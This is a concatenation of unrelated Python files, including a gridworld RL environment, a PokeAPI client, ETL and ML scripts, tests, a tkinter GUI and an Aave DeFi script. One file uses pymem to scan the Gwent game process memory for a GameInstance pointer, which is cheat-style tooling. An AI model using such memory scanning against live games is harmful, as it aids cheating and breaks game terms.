import gym
from gym.utils import seeding
from gym import spaces
import numpy as np
from enum import IntEnum
from copy import deepcopy
from tabulate import tabulate

class Board:
    """Represent a grid and operations on it"""
    def __init__(self, width, height):
        self.width = width
        self.height = height

        self.data = np.zeros((height, width), dtype=np.int)

        self.total_grids = width * height
        self.visited_grids = 0

    def set(self, i, j):
        """
        Increment the visited counts in the grid
        :param i: row
        :param j: column
        """
        assert i >= 0 and i < self.height
        assert j >= 0 and j < self.width

        if self.data[i, j] == 0:    # Not visited
            self.visited_grids += 1

        self.data[i, j] += 1

        return self.data[i, j]

    def get(self, i, j):
        """
        Increment the visited counts in the grid
        :param i: row
        :param j: column
        :return:
        """
        assert i >= 0 and i < self.height
        assert j >= 0 and j < self.width
        return self.data[i, j]

    def is_valid(self, i, j):
        """Check if a position is in the boundary"""
        return 0 <= i < self.height and 0 <= j < self.width

    def is_filled(self):
        return self.total_grids == self.visited_grids

    def __str__(self):
        return str(self.data)

class GridworldEnv(gym.Env):
    """
    Gridworld Environment that represents a rectangle world
    """

    metadata = {'render.modes': ['human']}

    class Actions(IntEnum):
        left = 0
        right = 1
        up = 2
        down = 3

    def __init__(self, width, height, seed=1337):
        super(GridworldEnv, self).__init__()
        # self.world = np.array((width, height), dtype=int)

        # Environment configuration
        self.width = width
        self.height = height
        self.size = width * height

        # Information for the agent
        self.agent_pos = (0, 0)
        self.steps = [(0, 0)]
        self.board = Board(width, height)

        # For gym
        # Actions are discrete integer values
        self.action_space = spaces.Discrete(4)
        # Observations are number of cells
        self.observation_space = spaces.Box(low=0, high=max((width, height)),
                                            shape=(2, ), dtype=np.int)

        # Initialize the state
        self.reset()

        # Initialize the RNG
        self.seed(seed=seed)

        # Action enumeration for this environment
        self.actions = GridworldEnv.Actions

    def reset(self):
        # Current position and direction of the agent
        h = 0
        w = 0
        self.agent_pos = (h, w)

        self.board = Board(self.width, self.height)
        self.board.set(h, w)

        board = deepcopy(self.board.data)
        board[0, 0] = -1
        board = board.flatten()

        # Step count since episode start
        self.steps = [(0, 0)]

        # Return first observation
        return np.array([0, 0])

    def seed(self, seed=1337):
        """
        Seed the random number generator
        """
        self.np_random, _ = seeding.np_random(seed)
        return [seed]

    def step(self, action):
        done = False

        # Get the coordinate for the new position
        prev_i, prev_j = self.agent_pos
        i, j = self.agent_pos

        if action == self.actions.left:
            j -= 1
        elif action == self.actions.right:
            j += 1
        elif action == self.actions.up:
            i -= 1
        elif action == self.actions.down:
            i += 1

        if not self.board.is_valid(i, j):   # New position out of bound
            return np.array([prev_i, prev_j]), -1, False, {}

        self.agent_pos = (i, j)
        # Update the step information
        self.steps.append((i, j))
        self.board.set(i, j)

        pos = np.array([i, j])

        if self.board.get(i, j) > 1:   # The grid has been visited
            return pos, 0, True, {}
        elif len(self.steps) == self.size:  # All grids has been visited once
            return pos, 100000, True, {}
        else:   # The grid has not been visited
            return pos, 1, False, {}

    def render(self, mode='human', close=False):
        print("board:")
        print(self.board.data)
        print("path:", self.get_path())
        print("pos:", self.agent_pos)
        print("")

    def get_path(self):
        """
        Get the path on the field
        :return:
        """
        board = np.zeros((self.height, self.width), dtype=np.int)
        for index, pos in enumerate(self.steps):
            i, j = pos
            board[i, j] = index

        table = tabulate(board)
        return table


import requests as req
import time

consulta_pokemon='https://pokeapi.co/api/v2/pokemon/{id_or_name}/'
consulta_movimiento="https://pokeapi.co/api/v2/move/{name}/"
consulta_balls="https://pokeapi.co/api/v2/item-category/{id}/"
consulta_evoluciones="https://pokeapi.co/api/v2/pokemon-species/{id_or_name}/"

def consultar_api (endpoint) :
    response = req.get(endpoint)
    if response.status_code != 200 :
        menu=0
    else:
        return response.json()

#Mira si se ha añadido algún pokémon desde la última modificación y se actualiza
numero_limite=905
while(consultar_api(consulta_evoluciones.replace('{id_or_name}',str(numero_limite))) is not None):
    numero_limite=numero_limite+1

numero_limite=numero_limite-1 #Como el últim no se encontró, se descuenta del límite
numero_formas=consultar_api("https://pokeapi.co/api/v2/pokemon/")["count"]

menu=3
while(menu>0):
    print("\nBienvenido a la app con conexión a la PokeApi.")
    print("\nHay registrados actualmente "+str(numero_limite)+" Pokémons")
    print("¿Qué desea realizar?")
    print("1. Buscar Pokemón por su número actual de Pokedex.")
    print("2. Buscar Pokemón por su nombre.")
    print("3. Ver el número de formas Pokémons existentes.")
    print("4. Consultar un movimiento.")
    print("5. Consultar tipos de Pokeballs.")
    print("0. Salir")
    menu=int(input("Introduzca la opción: "))

    if menu>=1 or menu<=5:

        if menu==1:
            numero=0
            time.sleep(0.1)
            while int(numero)<1 or int(numero)>numero_limite:
                numero=input("\nIntroduzca su número en la Pokedex: ")
            #Realiza la consulta
            respuesta=consultar_api(consulta_pokemon.replace('{id_or_name}',numero))
        if menu==2:
            time.sleep(0.1)
            nombre=input("Introduzca su nombre: ").lower() #El nombre debe ir en minúsculas para el endpoint
            #Realiza la consulta
            respuesta=consultar_api(consulta_pokemon.replace('{id_or_name}',nombre))

        if (menu==2 or menu==1) and menu!=0:
            time.sleep(0.1)
            #Saca el nombre a partir del número y viceversa
            nombre=respuesta['name'].title()
            numero=str(respuesta['id'])
            print("\nNombre: " + nombre)
            print("Número: "+ numero + " en la Pokedex\n")

            #Muestra los tipos que tiene
            time.sleep(0.1)
            for i in respuesta['types']:
                print("Es de tipo: "+ i["type"]["name"])

            #Muestra las estadísticas del Pokemón
            time.sleep(0.1)
            print("")
            estadisticas = respuesta['stats']
            base_stats = {}
            for stat in estadisticas:
                stat_name = stat['stat']['name'].title()
                base_stat = stat['base_stat']
                print("{0:15}  {1}".format(stat_name, base_stat))

            #Evoluciones
            time.sleep(0.1)
            linea_evolutiva=consultar_api(consulta_evoluciones.replace('{id_or_name}',numero))
            if(linea_evolutiva['evolution_chain'] is not None):
                linea_evolutiva=linea_evolutiva['evolution_chain']["url"]
                evoluciones=consultar_api(linea_evolutiva)
                if(evoluciones["chain"]["evolves_to"]==[]):
                    print("\nEste Pokemón no evoluciona")
                else:
                    print("\nSu forma base (la que nace de un huevo) es:")
                    print(evoluciones["chain"]["species"]["name"])

                    evoluciones=evoluciones["chain"]
                    while(evoluciones["evolves_to"]!=[]):
                        time.sleep(0.1)
                        aux=evoluciones
                        evoluciones=evoluciones["evolves_to"][0]
                        print("Este último evoluciona a:")
                        print(evoluciones["species"]["name"])

                    #Comprueba si hay más alternativas evolutivas
                    for i in range(len(aux["evolves_to"])):
                        time.sleep(0.1)
                        if i!=0:
                            evoluciones=aux["evolves_to"][i]
                            print("Otra alternativa es que evolucione a:")
                            print(evoluciones["species"]["name"])
            else:
                print("\nEste Pokemón no evoluciona")

            #Delay hasta la siguiente aparición del menú
            time.sleep(0.5)

        if menu==3:
            time.sleep(0.1)
            print("\nActualmente existen: "+str(numero_formas)+" formas de Pokémons")
            print("Para: "+str(numero_limite)+" Pokémons diferentes")
            print("Recuerde que algunos Pokémons tienen varias formas, por lo que el número en Pokedex es inferior")
            time.sleep(0.5)

        if menu==4:
            time.sleep(0.1)
            movimiento=input("\nIntroduzca su nombre en inglés: ").lower()
            respuesta=consultar_api(consulta_movimiento.replace('{name}',movimiento))
            if menu!=0:
                print("\nNombre oficial: " + respuesta['name'].title())
                if respuesta['names'][5]["language"]["name"] == "es":
                    print("También conocido como: " + respuesta['names'][5]["name"].title())
                print("Probabilidad de éxito: " + str(respuesta['accuracy']))
                print("Poder o daño que inflige al enemigo: " + str(respuesta['power']))
                print("Puntos de poder disponibles (PP): " + str(respuesta['pp']))
                time.sleep(0.5)

        if menu==5:
            time.sleep(0.1)
            respuesta=consultar_api(consulta_balls.replace('{id}','34'))
            especiales=input("¿Desea incluir las Pokeballs especiales (Y/n)? ").lower()
            print("")
            for i in respuesta["items"]:
                time.sleep(0.1)
                print(i["name"])
            if especiales!="no" and especiales!="n":
                respuesta=consultar_api(consulta_balls.replace('{id}','33'))
                for i in respuesta["items"]:
                    time.sleep(0.1)
                    print(i["name"])
            time.sleep(0.5)
    else:
        print("\nHasta pronto")
        menu=-1


# You are given a string S and width w.
# Your task is to wrap the string into a paragraph of width .
import textwrap

# Variant1
def wrap(string, max_width):
    new_string = ""
    for pos, i in enumerate(string):
        if pos % max_width == 0 and pos != 0:
            new_string += "\n"
        new_string += i
    return new_string

# Variant 2 - using textwrap.wrap
def wrap2(string, max_width):
    new_string = "\n".join(textwrap.wrap(string, width=max_width))
    return new_string

print(wrap("1111122222333334444455555", 5))
print(wrap2("AAABBBCCCDDDEEE", 3))


import os
import sys
import threading
import time

os.path.join(os.path.dirname(__file__), '../')
sys.path.append(os.path.join(os.path.dirname(__file__), '../'))
import pymem
from tools.MemoryTool import *

# 本脚本用于获取游戏的GameInstance组件的偏移地址
# ps:前置条件-游戏在battle界面
def getGameInstanceValue(pm,base,add):
    gameInstanceAdd = read_int64(pm,base+add,[0xb8,0x0,0x38,0x0])
    return gameInstanceAdd

class StoppableThread(threading.Thread):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._stop_event = threading.Event()

    def stop(self):
        self._stop_event.set()

    def stopped(self):
        return self._stop_event.is_set()

def search_range(start_add, end_add, pm, base_address, check_name, result_lock, result_list, stop_event):
    for i in range(start_add, end_add):
        if stop_event.is_set():
            return
        try:
            gi_value = getGameInstanceValue(pm, base_address, i)
            type_name = read_Type_Name(pm, gi_value)
            print(type_name)
        except Exception:
            print(start_add)
            continue
        if type_name == check_name:
            with result_lock:
                result_list.append(i)
            stop_event.set()
            return

if __name__=='__main__':
    pm = pymem.Pymem("Gwent.exe")
    base_address = pymem.process.module_from_name(
        pm.process_handle,"GameAssembly.dll"
    ).lpBaseOfDll

    # gog 56389248
    # steam 59309712
    start_add = 59309712
    end_add = start_add+5000000
    check_name = 'GameInstance'

    num_threads = 12  # 设置线程数
    sub_ranges = [(i, i + (end_add - start_add) // num_threads) for i in range(start_add, end_add, (end_add - start_add) // num_threads)]
    sub_ranges[-1] = (sub_ranges[-1][0], end_add)  # 确保最后一个子范围包含剩余的所有地址

    result_list = []
    result_lock = threading.Lock()
    stop_event = threading.Event()

    start_time = time.time()
    print("搜索中，请耐心等待......")
    threads = []
    for sub_range in sub_ranges:
        t = StoppableThread(target=search_range, args=(sub_range[0], sub_range[1], pm, base_address, check_name, result_lock, result_list, stop_event))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    if result_list:
        print("搜索完成，寻找到指针：",result_list[0]," (",check_name,")")
    else:
        print("抱歉,未找到适合地址,请尝试扩大范围(start_add,end_add)!")
    end_time = time.time()
    print("搜索用时：", end_time - start_time, "秒")


from os import getenv
from aio_pika import connect, Message
import logging

async def create_connection():
    # Connection setup
    return await connect(
        url=getenv('RABBIT_MQ_URL', 'amqp://guest:guest@localhost:5672/'))

async def sender(message: bytes):
    #Perform connection
    async with await create_connection() as connection:
        # Creating a channel
        channel = await connection.channel(1)
        logging.info('[+] Connect to rabbitmq\n')

        # Declaring exchange
        exchange = await channel.declare_exchange(
            getenv('RABBIT_MQ_EXCHANGE', 'amq.direct'), durable=True
        )

        # Declaring queue
        queue = await channel.declare_queue(
            getenv('RABBIT_MQ_QUEUE', 'consume_queue'), durable=True
        )
        await queue.bind(exchange, getenv('RABBIT_MQ_ROUTING_KEY'))

        # Sending the message
        await exchange.publish(
            Message(message), routing_key=getenv('RABBIT_MQ_ROUTING_KEY', 'key')
        )

        logging.info('[-] Disconnect from rabbitmq\n')


import sys
import os
sys.path.append(os.getcwd())    # 在命令行中，把当前路径加入到sys.path中
import argparse
import csv
import random
import traceback
import numpy as np
import pprint
import tensorflow as tf
from text_classification.data_processor.processor_manager import get_processor

def _read_tsv(input_file, quotechar=None):
    """Reads a tab separated value file."""
    with open(input_file, "r") as f:
        reader = csv.reader(f, delimiter="\t", quotechar=quotechar)
        lines = []
        for line in reader:
            lines.append(line)
        return lines

def _read_txt(input_file):
    with open(input_file, 'r+', encoding='UTF-8') as f:
        return f.readlines()

## 1. 把原始数据（未处理过的）转换成 csv文件（分类别）
def etl_rawdata2catecsv(processor, type='txt'):
    for fileName in os.listdir(processor.raw_data_dir):
        try:
            if FLAGS.debug_mode:
                if fileName != "tmp.txt":
                    continue
            if not fileName.endswith(type):
                continue

            filePath = os.path.join(processor.raw_data_dir, fileName)
            if type == 'txt':
                lines = _read_txt(filePath)
            else:
                lines = _read_tsv(filePath)

            for line in lines:
                try:
                    example = processor.convert_line2example(line)
                    if example:
                        processor.file_handlers.write_example(example.label, example.serialize_for_tsv())
                except Exception:
                    print("line:{}".format(line))
        except Exception:
            traceback.print_exc()
            continue
    processor.save_label_classes()
    processor.clear()

def convert_examples2tfrecord(processor, mode, output_shards=5, output_dir=None):
    def _pick_output_shard():
        return random.randint(0, output_shards - 1)

    if not output_dir:
        output_dir = processor.tfrecord_dir
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    data_lens = []
    labels = processor.get_labels()
    for label in labels:
        info = processor.file_handlers.file_infos[label]
        num = info.train_num if mode == 'train' else info.eval_num
        data_lens.append(num)
        if mode == 'eval' and info.train_num:
            # Fast forward all files to skip the offset.
            count = 0
            while count < info.train_num:
                try:
                    count += 1
                    next(info.get_reader())
                except StopIteration:
                    continue

    writers = []

    for i in range(output_shards):
        path = os.path.join(output_dir, "{m}_{s}.tfrecord".format(m=mode, s=i))
        writers.append(tf.python_io.TFRecordWriter(path))

    indexes = range(len(labels))
    reading_order = list(map(int, np.concatenate([[i]*j for i,j in zip(list(indexes), data_lens)])))
    random.shuffle(reading_order)

    total_num = processor.get_train_num() if mode == 'train' else processor.get_eval_num()
    for (ex_index, c) in enumerate(reading_order):
        try:
            info = processor.file_handlers.file_infos[labels[c]]
            line = next(info.get_reader()).strip()
            if ex_index % 1000 == 0 or ex_index == total_num - 1:
                tf.logging.info("Writing example %d of %d" % (ex_index, total_num))
            example = processor.convert_example2tfexample(line, ex_index)
            if example == None:
                continue
            writers[_pick_output_shard()].write(example.SerializeToString())
        except StopIteration:
            continue

    for w in writers:
        w.close()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.register("type", "bool", lambda v: v.lower() == "true")
    parser.add_argument(
        "--debug_mode",
        type="bool",
        default=False,
        # action='store_false',
        help="use debug mode")
    parser.add_argument(
        "--base_path",
        type=str,
        default="/Users/jiananliu/AISEALs/data/text_classification",
        help="refer to data_processor path tree")
    parser.add_argument(
        "--task_name",
        type=str,
        default="tribe_labels",
        help="task name")
    parser.add_argument(
        "--task_id",
        type=str,
        default="20190708",
        help="task id")

    FLAGS, unparsed = parser.parse_known_args()
    pp = pprint.PrettyPrinter().pprint
    pp("FLAGS: " + str(FLAGS))
    pp("unparsed: " + str(unparsed))
    print(FLAGS.debug_mode)

    print("base_path:" + str(FLAGS.base_path))

    processor = get_processor(FLAGS.base_path, FLAGS.task_name, FLAGS.task_id, use_hdfs=False)

    etl_rawdata2catecsv(processor)
    processor.store_vocab()
    convert_examples2tfrecord(processor, mode='train')
    convert_examples2tfrecord(processor, mode='eval')


import pytest
from day_3.house import *

@pytest.mark.parametrize("instructions, expected", [
    ('>', 2),
    ('^>v<', 4),
    ('^v^v^v^v^v', 2)
])
def test_one_present(instructions, expected):
    assert one_present(instructions) == expected

@pytest.mark.parametrize("instructions, expected", [
    ('^v', 3),
    ('^>v<', 3),
    ('^v^v^v^v^v', 11)
])
def test_santa_and_robot(instructions, expected):
    assert santa_and_robot(instructions) == expected


from tkinter import *
from tkinter.ttk import Treeview

from views import view_ia, get_subject_name
from main import Main

MED_FONT=("Verdana",18)  #font style for heading label

class SeeIAMarks(Frame):

	def __init__(self, parent, controller):
		Frame.__init__(self, parent)
		self.controller = controller

		self.IA_tree=Treeview(self, columns=('#1','#2','#3','#4','#5','#6'))

		#creating tabular column
		self.IA_tree.heading('#1',text='Student Name')
		self.IA_tree.heading('#2',text='Student USN')
		self.IA_tree.heading('#3',text='IA1 Marks')
		self.IA_tree.heading('#4',text='IA2 Marks')
		self.IA_tree.heading('#5',text='IA3 Marks')
		self.IA_tree.heading('#6',text='External Marks')

		self.IA_tree.column('#1',stretch=YES,width=95)
		self.IA_tree.column('#2',stretch=YES,width=95)
		self.IA_tree.column('#3',stretch=YES,width=95)
		self.IA_tree.column('#4',stretch=YES,width=95)
		self.IA_tree.column('#5',stretch=YES,width=95)
		self.IA_tree.column('#6',stretch=YES,width=95)

		self.IA_tree.grid(row=2, column=0, columnspan=10, padx=15, pady=10,sticky='nsew')
		self.IA_tree['show']='headings'

		subject_names = get_subject_name()

		option=[]

		for sub_name in subject_names:
			option.append(sub_name)

		options = list(set(option))		#to obtain only unique events
		self.variable = StringVar(self)
		self.variable.set(options[0])
		self.variable.trace("w", self.update_table)
		#Setting the default event
		self.select = OptionMenu(self, self.variable,*options,options[0],command=self.get_value).grid(row =1,column =1,padx=10,pady=10)

		Label(self,text=" Subject name",font=10).grid(row=1,column=0,padx=10,pady=10,sticky="W")

		back_btn=Button(self,text="Back",command=lambda:controller.show_frame(Main),width=30)
		back_btn.grid(row=3, column=0, padx=20, pady=20, sticky="W")

		heading_label = Label(self, text="Subject Details", font=MED_FONT)
		heading_label.grid(row=0, column=0, padx=5,pady=5, sticky="W")

    #values updating in treeview
	def update_table(self, *args):
		self.IA_tree.delete(*self.IA_tree.get_children())
		sub_name = self.variable.get()
		student_list = view_ia(sub_name)
		for students in student_list:

			self.IA_tree.insert("", 'end', values=[students.student_name,
															students.usn,
															students.internal_assessment_1_marks,
															students.internal_assessment_2_marks,
															students.internal_assessment_3_marks,
															students.external_marks])

	def get_value(self,value):
		self.id=value


import unittest
import json
from flask import Flask
from api.endpoints.classification import classification_api

app = Flask(__name__)
app.register_blueprint(classification_api)

class ClassificationTests(unittest.TestCase):

    tester = None

    def __init__(self, *args, **kwargs):
        super(ClassificationTests, self).__init__(*args, **kwargs)
        global tester
        tester = app.test_client()

    def test_classify_single(self):
        response = tester.get(
            '/classification',
            data=json.dumps({"text": "Cocoa setup issues"}),
            content_type='application/json'
        )

        data = response.get_data(as_text=True)
        print("Category predicted: "+str(data))
        self.assertEqual(response.status_code, 200)
        self.assertIsNotNone(data)

if __name__ == '__main__':
    unittest.main()


from brownie import network, config, interface
from scripts.helpful_scripts import get_account
from scripts.get_weth import get_weth
from web3 import Web3

amount = Web3.toWei(1, "ether")

def approve_erc20(spender, amount, erc20_address, account):
    print("Approving erc20...")
    # ABI for ERC20 with the address
    erc20 = interface.IERC20(erc20_address)
    print(f"Approving amount of {amount} ")
    tx = erc20.approve(spender, amount, {"from": account})
    tx.wait(1)
    print(f"Approved? {tx}")
    return tx

def get_lending_pool():
    # ABI for addresses provider
    lending_pool_addresses_provider = interface.ILendingPoolAddressesProvider(
        config["networks"][network.show_active()]["lending_pool_addresses_provider"]
    )
    # Address
    lending_pool_address = lending_pool_addresses_provider.getLendingPool()
    # ABI for lending pool
    lending_pool = interface.ILendingPool(lending_pool_address)
    return lending_pool

def get_borrowable_data(lending_pool, account):

    print("Getting data...")
    # returns 6 numbers
    # see: https://docs.aave.com/developers/v/2.0/the-core-protocol/lendingpool#getuseraccountdata
    data = lending_pool.getUserAccountData(account.address, {"from": account})
    total_collateral_eth = Web3.fromWei(data[0], "ether")
    total_debt_eth = Web3.fromWei(data[1], "ether")
    available_borrow_eth = Web3.fromWei(data[2], "ether")
    print(
        f"Collateral: {total_collateral_eth}, total_debt: {total_debt_eth}, available to borrow: {available_borrow_eth}"
    )

    return (float(available_borrow_eth), float(total_debt_eth))

def get_asset_price(asset_price_feed):
    # ABI
    # address
    dai_eth_price = interface.AggregatorV3Interface(asset_price_feed)
    # returns 5 values, but we're interested
    # only in the latest price which is at the index 1
    latest_price = dai_eth_price.latestRoundData()[1]
    converted_price = Web3.fromWei(latest_price, "ether")
    print(f"DAI/ETH price {converted_price} ")
    return float(converted_price)

def repay_all(amount, lending_pool, account):
    approve_erc20(
        lending_pool.address,
        Web3.toWei(amount, "ether"),
        config["networks"][network.show_active()]["dai_token_address"],
        account,
    )
    print("Approved")
    repay_tx = lending_pool.repay(
        config["networks"][network.show_active()]["dai_token_address"],
        amount,
        1,
        account.address,
        {"from": account},
    )
    repay_tx.wait(1)
    print("Repaid!")

def main():
    account = get_account(id="test1")
    erc20_address = config["networks"][network.show_active()]["weth_token"]
    if network.show_active() in ["mainnet-fork"]:
        get_weth()
    # Address
    # ABI
    lending_pool = get_lending_pool()
    print("Lending pool address:", lending_pool)
    # approving from erc20
    approve_erc20(lending_pool.address, amount, erc20_address, account)

    # depositing
    print("Depositing ...")
    tx = lending_pool.deposit(
        erc20_address, amount, account.address, 0, {"from": account}
    )
    tx.wait(1)
    print("Deposited!")

    available_to_borrow, total_debt = get_borrowable_data(lending_pool, account)

    # convert to DAI
    dai_eth_price_feed = config["networks"][network.show_active()]["dai_eth_price_feed"]
    dai_eth_price = get_asset_price(dai_eth_price_feed)

    # safety factor is for Health Factor
    # the lower the safety factor the higher Health Factor
    safety_factor = 0.9
    amount_dai_to_borrow = (1 / dai_eth_price) * (available_to_borrow * safety_factor)
    print(f"We are borrowing {amount_dai_to_borrow} DAI.")

    dai_address = config["networks"][network.show_active()]["dai_token_address"]
    borrow_tx = lending_pool.borrow(
        dai_address,
        Web3.toWei(amount_dai_to_borrow, "ether"),
        1,
        0,
        account.address,
        {"from": account},
    )
    borrow_tx.wait(1)
    print("Borrowed some DAI")
    print("New borrawable data:", get_borrowable_data(lending_pool, account))

    repay_all(amount, lending_pool, account)
    print(
        "We just deposited, borrowed, and repaid on AAVE all programatically! Thank you AAVE, Brownie, and Chainlink!!"
    )


# -*- coding: utf-8 -*-
import csv
import numpy as np

# Ранжируем облачность на группы
dictionary_Nh = {
    'Облаков нет.': 1,
    '10%  или менее, но не 0': 1,
    '20–30%.': 1,
    '40%.': 2,
    '50%.': 2,
    '60%.': 2,
    '70 – 80%.': 3,
    '90  или более, но не 100%': 3,
    '100%.': 3,
}

# Ранжируем виды облаков на группы
dictionary_Cl = {
    'Слоисто-кучевые, образовавшиеся не из кучевых.': 1,
    'Слоистые туманообразные или слоистые разорванные, либо те и другие, но не относящиеся к облакам плохой погоды.': 2,
    'Слоистые разорванные или кучевые разорванные облака плохой погоды, либо те и другие вместе (разорванно-дождевые); обычно расположены под слоистыми или слоисто-дождевыми облаками.': 3,
    'Слоисто-кучевых, слоистых, кучевых или кучево-дождевых облаков нет.': 4,
    'Кучево-дождевые лысые с кучевыми, слоисто-кучевыми или слоистыми, либо без них.': 5,
    'Кучево-дождевые волокнистые (часто с наковальней), либо с кучево-дождевыми лысыми, кучевыми, слоистыми, разорванно-дождевыми, либо без них.': 6,
    'Кучевые плоские или кучевые разорванные, или те и другие вместе, не относящиеся к облакам плохой погоды.': 7,
    'Слоисто-кучевые, образовавшиеся из кучевых.': 8,
    'Кучевые средние или мощные или вместе с кучевыми разорванными, или с кучевыми плоскими, или со слоисто-кучевыми, либо без них; основания всех этих облаков расположены на одном уровне.': 9,
    'Кучевые и слоисто-кучевые (но не слоисто-кучевые, образовавшиеся из кучевых), основания расположены на разных уровнях.': 10
}

# Ранжируем температуру на группы
def get_group_T(value):
    value = float(value)
    if value < -5.0:
        return 1
    elif value < 10:
        return 2
    else:
        return 3

# Ранжируем влажность на группы
def get_group_U(value):
    value = int(value)
    if value < 50:
        return 1
    elif value < 80:
        return 2
    else:
        return 3

# Получаем осадки из файла. Если ячейка содержит float (уровень осадок), то записываем, что осадки были
def get_rainfall_RRR_value(RRR):
    # Получаем значение: есть осадки или нет
    dictionary_RRR = {
        'Осадков нет': 0,
        'Следы осадков': 1,  # Сюда относятся все числовые значения количества осадков
    }
    rainfall = dictionary_RRR.get(RRR)
    if rainfall is not None:
        return rainfall
    return 1

# Получаем кортеж для обучения
def get_training_tuple(Nh, Cl, T, U, RRR):
    group_Nh = dictionary_Nh.get(Nh)
    group_Cl = dictionary_Cl.get(Cl)
    group_T = get_group_T(T)
    group_U = get_group_U(U)

    values = np.array([group_Nh, group_Cl, group_T, group_U])

    rain = get_rainfall_RRR_value(RRR)
    return values, rain

def load_file():
    with open('weather.csv') as csv_file:
        csv_reader = csv.reader(csv_file, delimiter=';')
        header = next(csv_reader)  # Пропускаем первую строку

        feats = []
        predicts = []
        for row in csv_reader:
            # Решаем проблемы с кодировкой в Python 2.7.9
            for index, item in enumerate(row):
                row[index] = row[index].decode('cp1251').encode('utf8')

            if row[17] and row[16] and row[1] and row[5] and row[23]:
                feat, predict = get_training_tuple(row[17], row[16], row[1], row[5], row[23])
                feats.append(feat)
                predicts.append(predict)
        feats = np.array(feats)
        predicts = np.array(predicts)
        return feats, predicts

def vectorized_result(j):
    e = np.zeros((2, 1))
    e[j] = 1.0
    return e

def get_x_y_train():
    feats, predicts = load_file()
    training_inputs = [np.reshape(x, (4, 1)) for x in feats]
    training_results = [vectorized_result(y) for y in predicts]

    training_data = zip(training_inputs, training_results)

    test_inputs = [np.reshape(x, (4, 1)) for x in feats]
    test_data = zip(test_inputs, predicts)

    return training_data, test_data


#!/bin/python

#------------------- Description & Notes --------------------#

'''
We can reduce the number of K-mers by:
* Clustering reverse complement counts (For relatively short K-mers, i.e. K < 5)

We can reduce the number of samples by:
* Clustering counts of related sequences
'''

#------------------- Dependencies ---------------------------#

# Standard library imports

# External imports
import pyspark.sql.functions as F
import pyspark.sql.types as T
from pyspark.ml.feature import Normalizer
from pyspark.ml.linalg import VectorUDT
from pyspark.ml.linalg import Vectors
from sklearn import preprocessing

# Internal imports
from ..common import *
from .table import insertKmerIdxCol

#------------------- Constants ------------------------------#

#------------------- Public Classes & Functions -------------#

def toProbabilities(kmerDf):
    kmerDf = kmerDf.withColumn(COUNT_COL_NAME,
        F.col(COUNT_COL_NAME).cast(T.FloatType()))
    kmerDf = (kmerDf.groupby(KMERDF_SEQINFO_COL_NAMES)
        .applyInPandas(_toProbabilities, schema=kmerDf.schema))
    return kmerDf

def toNormalised(kmerDf):
    ## Normalise counts according to Wang et al. 2005
    ## This is done by multiplying the probabilities with
    ## the total number of possible Kmers
    kmer = kmerDf.select(KMER_COL_NAME).first()[0]
    t    = getExpectedTotal(kmer)

    kmerDf = toProbabilities(kmerDf)
    kmerDf = kmerDf.withColumn(COUNT_COL_NAME, F.col(COUNT_COL_NAME) * t)
    return kmerDf

def toL2Normalised(kmerDf, withPandas=True):
    if (withPandas):
        kmerDf = kmerDf.withColumn(COUNT_COL_NAME,
            F.col(COUNT_COL_NAME).cast(T.FloatType()))
        kmerDf = (kmerDf.groupby(KMERDF_SEQINFO_COL_NAMES)
            .applyInPandas(_toL2Normalised, schema=kmerDf.schema))

    else:
        normalizer = Normalizer(inputCol=KMER_COL_NAME, outputCol='L2Norm')
        kmerDf = normalizer.transform(kmerDf)
        kmerDf = kmerDf.drop(KMER_COL_NAME)
        kmerDf = kmerDf.withColumnRenamed('L2Norm', KMER_COL_NAME)

    return kmerDf

def explode(kmerDf):
    ## (ID, [Kmer], [Count], *) => (ID, Kmer, Count, *)
    gCols = kmerDf.schema.names
    gCols.remove(KMER_COL_NAME)
    gCols.remove(COUNT_COL_NAME)

    f = F.explode(F.arrays_zip(KMER_COL_NAME, COUNT_COL_NAME))
    kmerDf = (
        kmerDf
        .withColumn('tmp', f)
        .select(
            *gCols,
            F.col('tmp.kmer').alias(KMER_COL_NAME),
            F.col('tmp.count').alias(COUNT_COL_NAME)
        )
    )
    return kmerDf

def toDict(kmerDf):
    kmerDf = kmerDf.select(KMERDF_COL_NAMES)
    kmerDf = toList(kmerDf, isSorted=False)

    f = F.map_from_arrays(KMER_COL_NAME, COUNT_COL_NAME)
    kmerDf = kmerDf.select(*KMERDF_SEQINFO_COL_NAMES, f.alias(KMER_COL_NAME))
    return kmerDf

def toList(kmerDf, isSorted=True):
    def _sortCounts(kmerPdf):
        ## Convert the counts into a sorted list based on the Kmers
        kmerPdf = kmerPdf.sort_values(by=[KMER_COL_NAME])
        counts  = kmerPdf[COUNT_COL_NAME].tolist()
        kmer    = kmerPdf[KMER_COL_NAME].tolist()

        newKmerPdf = kmerPdf.iloc[:1][KMERDF_SEQINFO_COL_NAMES]
        newKmerPdf[COUNT_COL_NAME] = [counts] * 1
        newKmerPdf[KMER_COL_NAME]  = [kmer] * 1
        return newKmerPdf

    kmerDf = kmerDf.select(KMERDF_COL_NAMES)
    if (isSorted):
        schema  = getSchema(countsAsInt=False)
        kmerDf = (
            kmerDf
            .groupby(KMERDF_SEQINFO_COL_NAMES)
            .applyInPandas(_sortCounts, schema=getSchema())
        )

    else:
        kmerDf = (
            kmerDf
            .groupby(KMERDF_SEQINFO_COL_NAMES)
            .agg(
                F.collect_list(KMER_COL_NAME).alias(KMER_COL_NAME),
                F.collect_list(COUNT_COL_NAME).alias(COUNT_COL_NAME)
            )
        )

    return kmerDf

def toVector(kmerDf, toDense=False):
    kmerDf = kmerDf.select(KMERDF_COL_NAMES)
    kmerDf = insertKmerIdxCol(kmerDf)
    kmerDf = kmerDf.withColumnRenamed(KMER_COL_NAME, 'kmerStr')

    ## Get the size of the vector
    vSize = kmerDf.select(F.max('kmerIdx')).collect()[0][0] + 1

    ## Create a dictionary containing (Kmer, Count) pairs
    kmerDf = kmerDf.withColumnRenamed('kmerIdx', KMER_COL_NAME)
    kmerDf = toDict(kmerDf)

    ## Convert the counts into SparseVectors
    f = lambda x: Vectors.sparse(vSize, x)
    f = F.udf(f, VectorUDT())
    kmerDf = kmerDf.withColumn(KMER_COL_NAME, f(KMER_COL_NAME))

    ## If applicable, convert the counts into DenseVectors
    if (toDense):
        f = lambda x: Vectors.dense(x.toArray())
        f = F.udf(f, VectorUDT())
        kmerDf = kmerDf.withColumn(KMER_COL_NAME, f(KMER_COL_NAME))

    ## Vectorising loses the Kmer string information. We probably don't need
    ## them, but if we do, then we can convert the vector indices into Kmers.
